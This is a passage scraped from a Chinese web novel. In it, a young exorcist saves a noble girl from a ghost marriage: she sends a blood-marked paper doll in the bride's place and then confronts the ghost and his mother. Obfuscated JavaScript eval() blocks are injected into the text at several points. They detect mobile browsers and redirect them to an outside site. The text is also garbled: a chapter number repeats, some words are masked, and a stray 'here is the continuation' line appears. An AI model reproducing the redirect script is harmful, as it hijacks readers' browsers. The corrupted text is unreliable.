慕容晴在林小满平静的目光注视下,仿佛找到了主心骨,深吸一口气,开始断断续续地讲述起那个困扰她多日、诡异又令人毛骨悚然的“婚礼”。 慕容晴的声音带着颤抖和羞窘,低垂着头不敢看人: “事情要从……七日前开始说起了。我、我第一次做那个梦,便是在七日前。” 她绞着帕子的手指因为用力而泛白: “梦中……有一位公子,他、他……” 她似乎不知该如何形容,脸颊红得几乎要滴出血来, “他长相十分俊美,穿着……穿着婚服,周围也是红彤彤的一片,像是在……在拜堂。他……他唤我‘娘子’。” 慕容晴的声音越来越小, “我……我以为是做梦,觉得……觉得反正是在梦里,有个这般……这般好看的相公,我、我占了便宜又不亏……就……就特别痛快地应了……” 说到最后,她几乎将头埋进了胸口,声音细若蚊蚋。 “晴儿!”宁国侯夫人听得脸色铁青,又惊又怒,更是后怕不已。 她怎么也没想到,自己精心教养的侯府千金,竟会在梦中如此……如此“孟浪”! 这若是传了出去,女儿的名声还要不要了?侯府的颜面何存? 屿安世子的脸色也十分难看,他紧抿着唇,眼神复杂地看着妹妹,既心疼她的遭遇,又对她梦中那般“轻率”的回应感到气恼。 世家女子,便是梦中,也该谨守礼仪分寸,岂能因对方容貌俊美就……他简直不敢深想。 慕容晴感受到母亲和兄长投来的目光,更是羞得无地自容,眼泪在眼眶里打转,却又不敢哭出来,只能死死咬着下唇。 林小满像是没有察觉到这尴尬的气氛,她的关注点完全在关键信息上,语气依旧平静无波: “然后呢?每次梦境都一样?除了唤你‘娘子’,可还有别的?你醒来后,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539798|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体可有异样?或者,身边可出现过什么不寻常的物品?” 慕容晴抽噎了一下,努力平复情绪,继续回忆道: “每次……每次梦境都差不多,都是拜堂成亲的场景,很热闹,但又……又看不清楚宾客的脸。他……他除了唤我娘子,还会……还会拉着我的手,说……说我们已是夫妻,要……要洞房……” 她说到这里,声音再次低不可闻,整个人都快缩成一团。 “醒来后,我总觉得浑身发冷,像是……像是精气被抽走了一样,越来越没力气。至于不寻常的东西……” 她皱着眉仔细想了想,忽然道,“啊!有一次我醒来,发现枕边……多了一缕用红绳系着的头发,不是我的!我当时害怕,就让丫鬟偷偷扔掉了!” 红绳系发的头发! 林小满眼中精光一闪,这与冥婚的契约形式极为吻合! 看来,慕容晴确实是在无知无觉中,被人强行缔结了冥婚契约,而且对方正在通过梦境,一步步蚕食她的生机! 侯夫人和屿安世子听到“红绳系发”,脸色更是白了几分,他们即便再不懂玄门之事,也隐约猜到这绝非吉兆。 慕容晴急得猛地站起身,连连摆手,语速都快了几分: “但、但是他说要洞房,我从来没有答应过!一次都没有!” 她像是急于证明自己的清白,声音带着委屈的哭腔: “一开始,我以为就是巧合,才会连续一两日都做同样的梦。可后来……后来还是一样的梦,他却越来越过分!从一开始的动口不动手,到后面……后面他想对我做那种事情!” 慕容晴一边说一边委屈地抽了抽鼻子,继续道: “我、我宁死不从,还……还狠狠地扇了他一巴掌!他就生气了!” 她回想起梦中那可怖的场景,身体微微发抖,“虽然说是在梦里,但我也知道名节对于女子的重要性!就算是在梦里,我也不会胡作非为!占点便宜,叫他一声相公无伤大雅,但是……但是那种事情,我绝不会答应!” 第一百八十三章 缔结冥婚的红线 她抬起泪眼,带着后怕:“后面我拒绝了之后,第一次他还没怎样,可连续拒绝他几次之后……他、他整张脸就突然变得血肉模糊,狰狞可怕! 还一直恶狠狠地盯着我说……说要娶我进门,一定要把我给办了!呜呜……” 慕容晴平日里虽然性格活泼,有些大大咧咧,但内里终究是受着严格的闺阁教养,深知礼义廉耻。 此刻将这些难以启齿的梦境细节说出来,又是害怕又是羞愤,终于忍不住低声啜泣起来。 侯夫人听见女儿在梦中竟被如此逼迫欺辱,心中虽是气恼女儿最初的不谨慎,但更多的却是心疼和愤怒。 她猛地一拍身旁的桌子,又急又气:“晴儿!你在梦中发生这种事情,你为何不与母亲早说?!若是早知如此,我们也好早早想办法,何至于拖到今日让你受这般惊吓!” 慕容晴低垂着头,肩膀微微耸动,根本不敢应声。 她哪里敢说,一开始是觉得羞于启齿,后来则是被那男鬼越发狰狞的模样吓坏了,更不敢多言。 慕容屿安更是脸色阴沉得可怕,拳头紧握。 他强压下心头翻涌的怒火和对妹妹的担忧,转向林小满,声音因压抑而显得有些沙哑: “林小姐,此事……晴儿从未与我们说过这些细节,她只含糊说在梦中梦见一男子强行要与她成婚。我们万万没想到,其中竟还有这般……这般龌龊逼迫!” 他深吸一口气,语气带着恳切与决绝, “林小姐,这……这当真就是冥婚吗?晴儿如今不过是个十五岁的姑娘,天真烂漫,哪里见过如此阵仗?虽说母亲如今在为她相看人家,可即便是定下了,距离真正成婚至少也还得一两年光景。 求林小姐一定要想想办法,救救晴儿!不能再让那……那邪物继续纠缠侵害于她了!无论需要什么,侯府必定全力配合!” 他的目光紧紧盯着林小满,将所有希望都寄托在了这位看似年轻却气质独特的二小姐身上。 慕容晴泪眼婆娑地看向林小满,带着最后一丝侥幸问道: “林小姐,我……我不过就是在梦中叫了他两句‘相公’而已,这……这难道就算是结了冥婚吗?真的没有挽回的余地了吗?” 林小满摇了摇头,“若只是一个称呼,自然缔结不了如此牢固的冥婚契约。但是,你的枕边出现了用红绳系着的、不属于你的头发。 这红绳系发,便是冥婚契约成立的标志之一,如同阳间的婚书。它借助了你最初那声应允为引,强行将你的气息与那鬼物绑定。” 她看着慕容晴瞬间煞白的小脸,继续道:“而且,你难道没发现,这一两日,你睡着的时间越来越长了吗?即使你感觉自己很清醒,但倦意袭来时,还是会不由自主地沉沉睡去,难以抗拒。” 侯夫人立刻连连点头,印证道:“确实如此!晴儿这一两日总是昏昏沉沉,大半时间都在睡梦之中。我守在她身边,还总是听见她在梦中呓语,眉头紧锁,很是不安的模样,像是被什么魇住了!” 林小满“嗯”了一声,目光重新落回慕容晴身上,问出了一个关键问题: “在你开始做这些梦之前,是否有在夜半时分,遇见过一个在路边烧纸祭奠孩儿的老妇?” 慕容晴闻言,仔细回想,悄悄瞥了一眼自家母亲,然后轻轻点了点头, “有……细想起来,正是我开始做梦的前一日晚上。那天……那天我与母亲起了一些争执,心中烦闷,于是趁着父亲母亲都睡着之后,就……就悄悄翻墙溜出府散心了……” 她越说声音越小,不敢看侯夫人瞬间沉下来的脸色,赶紧继续道: “后来……后来在城西那座废弃的‘思归桥’桥头,遇见了一个穿着灰布衣裳的老婆婆,她正在那里烧纸钱,哭得很是伤心。 我见她可怜,周围又黑漆漆的没有一个人,所以……所以便上前问了问。” “她与我说,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539799|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年少时便丧父,如今年纪大了,又是白发人送黑发人,唯一的儿子也没了,心中悲苦无人诉说,只能半夜在此祭奠。 我听后心中不忍,便在一旁守着她,等她把纸钱都烧完了,又见她年纪大、腿脚不便,就将她送回了家……林小姐,难道……难道问题出在那个老婆婆身上?” 林小满点了点头,肯定了慕容晴的猜测:“没错。与你缔结冥婚之人,正是那老妇口中‘早逝’的儿子。 你将那老妇送回家中之后,她是否曾以天色已晚、你一个姑娘家独自在外不安全为由,极力挽留你住上一晚?可有此事?” 慕容晴仔细回想,脸上露出一丝恍然和后悔: “确、确实如此!那老婆婆说我一个姑娘家走夜路不安全,天色实在太晚了,便想留我住一晚上。但是我……我虽然心中烦闷,却也知夜不归宿是大忌,尤其还是陌生人家中,便婉言谢绝了。” 她顿了顿,似乎想起了更多细节: “后来……那老妇见我执意要走,便没有再强留,而是……而是从怀里掏出了一个用红布缝成的小小的三角符包,塞到我手里,说是她自己求的平安符,送给我带在身上,算是感谢我送她回家,保佑我一路平安。” 慕容晴说到这里,脸上满是困惑和不解:“我见她一番好意,而且那符包看起来也很寻常,就……就收下了,一直挂在腰间。 可是……这和我枕边出现的红绳头发有什么关系吗?那符包我检查过,里面好像是些香灰一样的东西……” “只怕那个平安符里装的,根本不是什么香灰,而是混合了香灰掩人耳目,内里包裹的正是红绳与那男鬼的头发!”慕容屿安脸色铁青,咬牙切齿地接过了话头,他已然想通了其中的关窍, “妹妹!你只怕从一开始就被那老妇给算计了!她利用你的善心,将那作为冥婚契约信物的符包塞给了你!你日夜佩戴,气息早已与之相连,这冥婚契约,便是由此而成!” 第一百八十三章 祸根早已种下 慕容晴闻言,如遭雷击,整个人都僵住了。 她下意识地摸向腰间,那里早已空空如也,那符包在她开始做噩梦后,心中隐隐觉得不安,早已取下不知扔到何处去了。 可她万万没想到,祸根早已种下! 她回想起那老妇哭泣时低垂的头颅,递过符包时那干枯的手指,以及昏暗光线下似乎闪过的一丝诡异…… 原来,从一开始的可怜无助,到后来的赠符感谢,全是一场精心设计的骗局!她的善良,竟成了害死自己的催命符! 无边的恐惧和后悔瞬间将她淹没,她身子一软,几乎要瘫倒在地,幸好被身旁的侯夫人及时扶住。 “好歹毒的心思!竟用如此下作的手段害我女儿!”侯夫人又惊又怒,搂着浑身发抖的女儿,看向林小满的眼神充满了急切, “林小姐,既然已经找到了根源,现在该如何是好?那符包晴儿早已丢弃,可能解开这冥婚?需要我们去将那恶毒的老妇找来吗?” “不用去找了。”林小满语气平静地否定了侯夫人的提议, “现在就算找到那老妇也已经迟了。当时你在桥头陪着那老妇烧纸时,她那‘早逝’的儿子,魂魄就在身旁。他对你一见钟情,生了妄念。 那老妇本身就是个‘问米婆’,懂得些阴邪手段,一眼就看出了她儿子的心思,自然顺水推舟,将内含头发丝作为契约信物的‘平安符’赠给了你。” 她顿了顿。“即便那晚遇到的不是慕容小姐,也会是其他路过的女子。那老妇本就存了心思要为她儿子寻一个活人新娘缔结冥婚,只是没想到,当晚恰好是慕容小姐自己送上了门。” 侯夫人毕竟见多识广,脸色瞬间惨白如纸,声音都带了颤音:“那……那现在可如何是好?我曾听人说过,活人与**缔结冥婚,拜堂成亲尚可拖延,但若到了洞房花烛、真正‘成婚’之日,便是活人阳气散尽、魂归地府之时! 我女儿她还这么小,她不能……” 后面的话,她哽咽着说不下去了,只是紧紧搂住女儿,仿佛一松手就会失去她。 林小满淡淡道,“别怕,等到晚上,我自会帮你解决此事。此事,还需等到夜里,等那男鬼自己现身才行。” 慕容屿安眉头紧皱,心急如焚:“林小姐,现在不能立刻解决吗?非要等到晚上?” 事关妹妹的性命安危,他一刻也不想多等,生怕夜长梦多。 不等林小满回答,站在她身后的小花忍不住撇了撇嘴,没好气地开口道: “既然我家小姐说了会帮,自然是会帮的!那男子是鬼,又不是大活人,**的他怎么会轻易现身?除非他主动现身,或者到了他阴气最盛的时辰,否则我们就算有天大的本事,也难以凭空推算他的具体行踪,更别说抓他了!” 小花身为丫鬟,这番话带着明显的情绪,语气也算不上恭敬。 但此刻情况特殊,侯夫人和世子心系慕容晴的安危,虽然觉得她言语冒失,却也无人出声责怪。 慕容屿安被小花噎了一下,也意识到自己确实是关心则乱,强压下心中的焦躁,对着林小满拱手道: “是在下心急了。既然如此,一切但凭林小姐安排。需要准备些什么,林小姐尽管吩咐。” 林小微微颔首:“准备一些东西即可,其他的,交给我。” …… 好的,这是接下来的续写: …… 夜幕低垂,万籁俱寂。 慕容晴的闺房内,烛火被刻意调暗了几分,只留下几盏必要的光源,在墙壁上投下摇曳的影子,平添了几分紧张的气氛。 所有准备工作都已就绪,众人都**在此。 慕容晴紧紧抓着侯夫人的手,指尖冰凉,脸上毫无血色,写满了恐惧和不安。 她怯生生地抬头看向母亲,声音细弱蚊蝇: “母亲……父亲……父亲他知道这件事吗?能不能……不要让父亲知道……” 她深知父亲宁国侯的性子,为人刚正不阿,治家严谨,对儿女的管教更是出了名的严格。 若是让他知道女儿不仅深夜私自出府,还惹上了如此“有辱门风”、荒诞不经的冥婚之事,只怕盛怒之下,后果不堪设想。 比起那狰狞的男鬼,此刻她内心对父亲的畏惧竟也丝毫不减。 侯夫人心疼地反握住女儿冰冷的小手,轻轻拍了拍,低声安慰道: “放心吧,晴儿。你父亲并不知晓此事的具体缘由,他只当你这些日子是身子不爽利,精神不济,我过来陪陪你、照顾你而已。 莫要怕,有母亲在,有兄长在,还有林小姐在,定不会让你有事的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539800|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她嘴上安抚着女儿,心中却也暗自庆幸未曾将实情告知侯爷。 宁国侯慕容铮一生戎马,最是厌恶这些怪力乱神之事,性子又古板严厉,若他知晓,恐怕非但不能理解,反而会斥责她们母女胡闹,甚至可能迁怒于前来帮忙的林小满,那才真是误了大事。 慕容屿安也在一旁沉声道:“晴儿放心,父亲那边有我周旋,你只需安心配合林小姐便是。” 他的目光随即转向静立在一旁、正闭目养神的林小满,以及她身边严阵以待的小花和林知鸳,心中虽然依旧焦灼,却也只能选择信任。 夜色渐深,房间内寂静得能听到彼此紧张的呼吸声。 侯夫人看着床上那个穿着迷你嫁衣、面容模糊的纸人,心头一阵发毛,忍不住压低声音问道:“林小姐,我们……我们还要等多久?” 林小满缓缓睁开眼,眸中一片清明,她站起身,“需等到子时。冥婚嫁娶,一般都是在子时阴气最盛之时举行。” 她说完,不知从何处取出了一把小巧却锋利的**,递向慕容晴。 这突如其来的举动让侯夫人脸色骤变,下意识地拉着慕容晴连退两步,将她护在身后。 慕容屿安更是反应迅速,一个箭步挡在了妹妹身前,脸色凝重,眼神里充满了警惕和不解: “林小姐,你这是何意?!” 林知鸳眼见产生了误会,立刻快步走上前,温声解释道: “侯夫人,世子爷,你们误会了,我妹妹绝非那个意思。” 她与林小满相处日久,多少了解她行事不拘常理却必有深意的风格,连忙继续说明: “我妹妹是想让晴儿妹妹割破指尖,取几滴鲜血,滴在那床头的纸人身上。此举并非伤害晴儿,而是为了‘李代桃僵’,用这滴了晴儿鲜血的纸人暂时充当她的替身,混淆那男鬼的感知,为我们后续行动争取时机和便利。” 听到林知鸳的解释,侯夫人和慕容屿安紧绷的神经才稍稍放松,但看着那寒光闪闪的**,依旧有些犹豫。 毕竟要让娇生惯养的女儿亲自割破手指取血,他们仍是心疼不已。 慕容晴躲在母亲和兄长身后,看着那**,小脸更白了,身体微微发抖。 林小满手持**,神色不变,只是静静地看着慕容晴,等待她的决定。 第一百八十四章 新郎来了 慕容晴紧咬着下唇,唇瓣被咬得发白。 她想起这些日子夜不能寐的恐惧,想起那如影随形的目光,终于鼓起勇气,颤抖着伸出手,接过了林小满递来的**。 冰凉的触感让她打了个寒颤。 她深吸一口气,一步步走向床头那个穿着迷你嫁衣的纸人。 在众人紧张的注视下,她闭上眼,用**在指尖轻轻一划—— “嘶……” 细微的痛楚让她倒吸一口凉气。 一滴鲜红的血珠从指尖渗出,缓缓滴落,正落在纸人那张模糊的脸上。 就在血珠触及纸人的瞬间,异变突生! 那原本死气沉沉的纸人竟猛地一颤,随即从床上弹坐起来,僵硬地扭了扭脖子,发出“咔嚓咔嚓”的纸张摩擦声。 它笨拙地蹦跳了两下,而后重新躺回床上,甚至还自顾自地拉了拉那身迷你嫁衣的衣角,摆出一个规整的睡姿。 慕容晴吓得连退数步,浑身僵硬,指尖的伤口都忘了疼痛。 她惊惧地看向林小满,声音发颤:“它、它怎么……” “放心,没事。”林小满平静地解释,“你的血赋予了它一丝你的气息,届时那男鬼便会将它错认成你,将它带走。” 侯夫人见状,长舒一口气,脸上浮现出希望的光芒,急切地问道: “那这样说来,我家晴儿是不是就没事了?就能彻底摆脱他了?” “不,没那么简单。”林小满摇头,打破了侯夫人的幻想, “纸人终究不是活人,这李代桃僵之计,瞒得了一时,却瞒不了一世。” 她目光扫过众人,声音低沉了几分:“等他带着‘新娘’回去,到洞房花烛、欲行夫妻之实之时,他就会发现,这纸人没有心跳,没有体温,更没有活人的魂魄。 届时,他必会察觉受骗,怒不可遏地回来寻找真正的慕容小姐。而且,经此一遭,他的怨气只会更重,行事也会更加偏激。” 林小满的话像一盆冷水,将侯夫人刚燃起的希望彻底浇灭,房间内的气氛瞬间再次凝固,比之前更加沉重。 “这……”侯夫人和慕容屿安对视一眼,脸上血色尽褪,刚刚放下的心又猛地悬了起来,比之前更甚。 若那男鬼去而复返,且怨气更深,晴儿岂不是…… “怕什么?”一旁的小花却扬起了下巴,语气里带着几分与有荣焉的骄傲, “别说是一个区区男鬼,就算来上一群,也不是我家小姐的对手!既然小姐说了能解决,那就定然叫他来得去不得!” 她的话音刚落,仿佛是为了印证林小满之前的预言,房间内的温度毫无征兆地骤然降低,一股阴寒刺骨的气息无声无息地弥漫开来。 时间仿佛在这一刻凝滞。 窗外原本隐约可闻的虫鸣鸟叫彻底消失,万籁俱寂,死一般的沉寂压得人喘不过气。 墙边那几盏摇曳的烛火像是被无形的力量扼住,火苗急剧地收缩、扭曲,明灭不定地闪烁着,投下的影子张牙舞爪,仿佛随时会扑噬而来。 就在这极致的寂静与诡异的昏暗中,一阵突兀的锣鼓唢呐声由远及近,飘飘忽忽地传来。 那曲调分明是喜庆的迎亲乐,此刻听来却尖锐刺耳,透着一股子说不出的阴森和凄凉。 一队影影绰绰的迎亲队伍,如同鬼魅般穿透墙壁,出现在闺房之外。 它们身形模糊,脚步虚浮,抬着一顶惨白的喜轿,悄无声息地停在门前。 “娘子,我来接你了,快开门。” 一个身着大红喜服的身影出现在门前。 他身材矮小臃肿,面容扭曲,皮肤泛着不正常的青灰色,一双鼓凸的眼睛几乎占了大半张脸,就像**似的。 他伸出干枯的手,不轻不重,恰好敲了三下房门。 那男鬼在门外等了好一会儿,里面依旧寂静无声,他鼓凸的眼中闪过一丝不耐与阴戾,正想要强行破门而入。 “吱呀”一声,房门却在这时从里面缓缓打开了。 一道身着华丽红嫁衣的窈窕身影亭亭玉立出现在门后,身段极好。 只是,她的整个头部被一方大红盖头遮得严严实实,不透一丝缝隙。 “晴儿?”男鬼微微一怔,鼓凸的眼睛里闪过一丝狐疑。 他感觉到一丝不对劲,前两日这女子还惊恐万分,魂魄波动剧烈,此刻却如此平静,甚至……主动开门? “相公,”盖头下传来新娘子温温柔柔的声音,带着一丝恰到好处的娇羞,一只白皙纤嫩的手从宽大的袖口中伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539801|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻轻递向他, “不是我,还能是谁?难道……相公除了我,还有别的娘子不成?” 这带着些许嗔怪意味的软语,像是一根羽毛,轻轻搔刮着男鬼那颗早已停止跳动却充满执念的心。 那递过来的手,指尖泛着健康的粉色,在惨白阴森的迎亲队伍映衬下,更显得鲜活诱人。 男鬼心中那一丝疑虑,瞬间被这声音、这玉手以及那声“相公”带来的满足感冲击得七零八落。 他咧开大嘴,露出参差不齐的牙齿,发出嗬嗬的怪笑声。 是了,定然是如此!他心中得意地想道,这女子前两日不过是故作矜持,或是被活人的礼教所束缚。 如今婚期已至,花轿临门,她见识到了自己的“诚心”与手段,终究还是被他的魅力所折服,认命了,甚至……心甘情愿了! 他根本没有去细想,为何一个人的态度转变会如此之快、如此彻底。 强烈的占有欲和扭曲的“爱意”蒙蔽了他本就混沌的灵智。 “娘子说笑了,为夫只有你一人。”他忙不迭地伸出干枯冰冷的手,小心翼翼地握住那只温软柔荑。 “来来来,快上花轿,莫要误了吉时!”他迫不及待地引着新娘子走向那顶惨白的喜轿,脸上的“笑容”愈发狰狞可怖。 新娘子莲步轻移,姿态优雅,顺从地跟着他,坐进了轿中。 迎亲队伍再次吹吹打打起来,刺耳的唢呐声回荡在死寂的夜色中,抬着轿子,连同那心满意足的**男鬼,一同化作模糊的虚影,穿透墙壁,消失在侯府深处。 闺房内,真正的慕容晴早已吓得瘫软在侯夫人怀中,大气都不敢出。 直到那诡异的声响彻底消失,她才带着哭腔颤声问道: “他、他把那个纸人带走了?他刚才是在跟谁说话?那个声音……” 侯夫人和慕容屿安也是心有余悸,方才他们看得分明,门口空无一人,那男鬼却对着空气自言自语,还做出了搀扶的动作,场景诡异得令人头皮发麻。 林小满走到门边,指尖在门框上轻轻拂过,一丝极淡的黑气被她无声无息地捏碎。她转过身,语气依旧平静无波: “一点小小的幻术和拟声术罢了,配合那滴血的气息,足以乱真。” 第一百八十六章 纸人新娘 林小满看向慕容屿安和林知鸳,“这里就交给你们两人守着了。记住,不管听见任何动静,都不要相信,更不要离开这间屋子或回应。 我已在整个侯府布下结界,普通的鬼魂闯不进来,但谨防声东击西之策。” “小满,你要去哪里?”林知鸳立刻担忧地追问,手下意识地抓住了妹妹的衣袖。 “我带小花去那男鬼的‘住处’。”林小满平静地回答,仿佛只是要去一个寻常地方做客。 “这……”侯夫人闻言,脸上刚退下去的担忧又浮现出来。 经过方才亲眼所见,她已确信林小满是真有本事的高人,绝非招摇撞骗之辈。 可正因为如此,她才更觉不安——让一个年纪轻轻的小姑娘为了救自己的女儿,孤身闯入那等阴邪鬼物的老巢,这……这若是出了什么意外,她良心何安? “林小姐,此举是否太过冒险?”侯夫人语气急切, “那毕竟是鬼物巢穴,阴气汇聚之地,您虽法力高强,但双拳难敌四手,万一……” 林小满看出她的顾虑,淡然打断:“侯夫人放心。区区一个刚死不久、靠着歪门邪道强留人间的执念小鬼,对我来说,不过是举手之劳。 若非想彻底斩断根源,免留后患,在此等他自投罗网亦可,主动前去,不过是为了更快了结此事。” 林知鸳松开手,轻声叮嘱:“那你万事小心。” 林小微微颔首,不再多言,带着小花便转身走了出去。 二人刚走出院落,离开众人的视线,小花就忍不住“扑哧”一声笑了出来,压低声音道: “小满,那男鬼也是够傻的!竟然都没发现‘新娘’走路的动作那么僵硬别扭吗?而且一看就知道是个穷鬼,哪有人家结亲,连个像样的媒婆和喜娘都没有的?就一顶破轿子几个模糊影子,寒碜**!” 林小满脚步未停,唇角似乎也勾起一丝极淡的弧度, “他被执念和自以为是的‘魅力’冲昏了头,兴奋过头,哪里还会注意那些细节。在他眼里,只怕只剩下‘得到’二字。 至于排场……一个靠母亲行邪术强娶活人的鬼物,你还指望他懂阳间嫁娶的规矩礼数么?” 她目光投向夜色深处某个方向,“走吧,趁他还在做着洞房花烛的美梦,我们去给他个‘惊喜’。” 小花立刻收敛了玩笑的神色,认真点头:“好嘞!”二人的身影很快融入夜色,朝着那怨气与阴气汇聚的源头寻去。 花轿一路敲锣打鼓,在寂静的村庄小路上飘行,最终停在了一处偏僻破败的院落前。 几间低矮的木屋歪歪斜斜,院墙塌了半截,处处透着贫寒之气。 男鬼的亲娘,正是慕容晴那晚在桥头遇见的烧纸老妇,此刻她换上了一身半新不旧的暗红色褂子,脸上带着不正常的亢奋红光,搓着手快步迎了上来。 “儿啊!我的好儿子!”老妇声音带着激动到极致的沙哑,浑浊的眼睛死死盯着那顶惨白喜轿, “没想到,没想到你真把这金尊玉贵的侯府小姐给带回来了!真是好本事!娘就知道,我儿相貌堂堂,一表人才,定能觅得佳妇!” 她兀自沉浸在狂喜中,喋喋不休: “那晚娘一看那小姐的面相,就知道是个有福气的!配我儿正好!往后啊,你们就在下头好好过日子,给娘生个大胖孙子……” “行了行了!”男鬼此刻满心都是洞房花烛,对亲娘的絮叨极为不耐,粗暴地打断, “啰嗦什么!还不赶紧拜堂!” 老妇笑容一僵,眼底闪过一丝不易察觉的阴霾,但很快又扬起更热切的笑脸,连连点头: “对对对,儿子说得对!是娘老糊涂了,光顾着高兴!来来来,快进门,咱们家虽穷,请不了太多宾客观礼,但该有的礼数不能少!” 她忙不迭地将“新人”引向堂屋。 屋内陈设简陋,只在正堂墙上贴了个白色的歪歪扭扭“囍”字,下方摆着两张破旧的太师椅。 老妇自己坐上了其中一张,算是高堂。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539802|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >男鬼与盖着红盖头的“新娘子”并排而立。 老妇清了清嗓子,努力让自己的声音显得庄重些:“吉时已到——一拜天地!” 男鬼闻言,立刻虔诚地跪拜下去。 可他身旁的“新娘子”却依旧直挺挺地站着,纹丝不动。 男鬼疑惑地抬头,催促道:“娘子?拜啊?” 那纸人依旧毫无反应。 老妇脸上的笑容挂不住了,她站起身,带着几分狐疑走上前: “新娘子这是害羞了?让婆婆瞧瞧……”说着,她伸手便去拉扯“新娘子”的胳膊。 就在她干枯的手指触碰到那嫁衣衣袖的瞬间,那原本亭亭玉立的“新娘子”竟如同泡影一般,身形一阵扭曲波动,随即“噗”的一声轻响,直接从原地消失不见! 一件大红的嫁衣轻飘飘落地,一个穿着迷你嫁衣、脸上画着诡异五官的粗糙纸人,从空荡荡的嫁衣里晃晃悠悠地瘫落在地上,发出“啪嗒”一声轻响。 堂屋内瞬间死寂。 老妇瞪大眼睛,看着地上那个刺眼的纸人,脑子“嗡”的一声,懵了。 “这……这这这……”她指着纸人,手指抖得不成样子,声音尖利得几乎破音, “纸人?!是替身!儿子,你……你这分明是被骗了!被那侯府的小**给耍了!” 短暂的呆滞过后,是滔天的怒火! 那男鬼看着地上的纸人,鼓凸的眼睛瞬间布满血丝,周身阴气疯狂翻涌,整个破败的堂屋温度骤降,墙壁上甚至开始凝结出冰冷的霜花! 他发出一声凄厉至极的咆哮,充满了被欺骗、被羞辱的狂怒! “慕容晴——!!!”他嘶吼着,声音扭曲变形。 老妇也是气得浑身发抖,脸色铁青,她猛地一脚狠狠踩在纸人上,用力碾了几下,尖声道: “好个奸猾的小**!竟敢用这等下作手段戏弄我儿!儿子,走!娘带你去找她算账!这次定要叫她求生不得,求死不能,乖乖跟你回来拜堂成亲!” 第一百八十七章 活该 母子二人怨气冲天,正要转身冲出破屋,却猛地顿住脚步,只见那摇摇欲坠的门口,不知何时竟悄无声息地立着两道身影。 为首的女子身形纤细,容貌清丽绝俗,眉眼间带着一种疏离的冷冽,在朦胧夜色中宛如月下仙姝,竟比慕容晴还要美上几分。 那男鬼满腔的怒火瞬间被这惊人的艳色冲散,鼓凸的眼睛直勾勾地盯过去,竟是看痴了。 “放肆!”小花眉头紧竖,一个箭步挡在林小满身前,指着男鬼厉声喝道,“再看!再看挖了你的鬼眼!” 老妇也被林小满的容貌震了一下,但随即回过神来,用力拉扯了一下儿子,低斥道: “儿啊!现在不是看美女的时候!”她复又转头,警惕地打量着这两位不速之客,眼神阴鸷,“你们是何人?来这里干什么?” 林小满并未回答她的问题,清冷的目光扫过地上被踩踏的纸人嫁衣,又落回那对母子身上,声音平缓却带着无形的压力: “你们可知道,私自与活人缔结冥婚,强夺生魂,是何等罪过?” 老妇没想到对方一开口便是质问,愣了一下,随即面露狰狞。 倒是那男鬼,被美色所惑,竟抢着开口,语气带着几分自以为是的“风流”: “罪过?什么罪不罪的!我与慕容晴两情相悦,你情我愿,结个婚怎么了?” 他目光贪婪地黏在林小满脸上,嘿嘿笑道,“不过……小美人,你若是愿意做我娘子,我倒是也可以放过慕容晴,就看你……愿不愿意了?” “找死!”小花闻言勃然大怒,未等林小满吩咐,身形已如离弦之箭般冲出,对着那男鬼劈头盖脸就是一顿猛揍! 小花的手打在男鬼身上发出“嗤嗤”的灼烧声,伴随着男鬼凄厉的惨叫。 他周身阴气被打得不断溃散,抱头鼠窜,毫无还手之力。 